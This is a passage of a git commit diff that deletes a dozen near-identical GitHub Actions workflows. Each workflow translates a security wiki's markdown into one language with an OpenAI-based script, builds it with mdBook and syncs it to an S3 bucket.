Translated ['src/pentesting-cloud/azure-security/az-services/az-containe

This commit is contained in:
Translator
2025-08-21 00:25:28 +00:00
parent d295944b82
commit 77384cbd3b
22 changed files with 605 additions and 2054 deletions

View File

@@ -1,119 +0,0 @@
name: Translator to AF (Afrikaans)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: af
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Afrikaans
BRANCH: af
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to DE (German)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: de
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: German
BRANCH: de
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to EL (Greek)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: el
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Greek
BRANCH: el
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to ES (Spanish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: es
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Spanish
BRANCH: es
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to FR (French)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: fr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: French
BRANCH: fr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to IT (Italian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: it
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Italian
BRANCH: it
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to JA (Japanese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: ja
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Japanese
BRANCH: ja
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to KO (Korean)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: ko
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Korean
BRANCH: ko
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to PL (Polish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: pl
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Polish
BRANCH: pl
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to PT (Portuguese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: pt
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Portuguese
BRANCH: pt
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to SR (Serbian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: sr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Serbian
BRANCH: sr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to SW (Swahili)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: sw
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Swahili
BRANCH: sw
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to TR (Turkish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: tr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Turkish
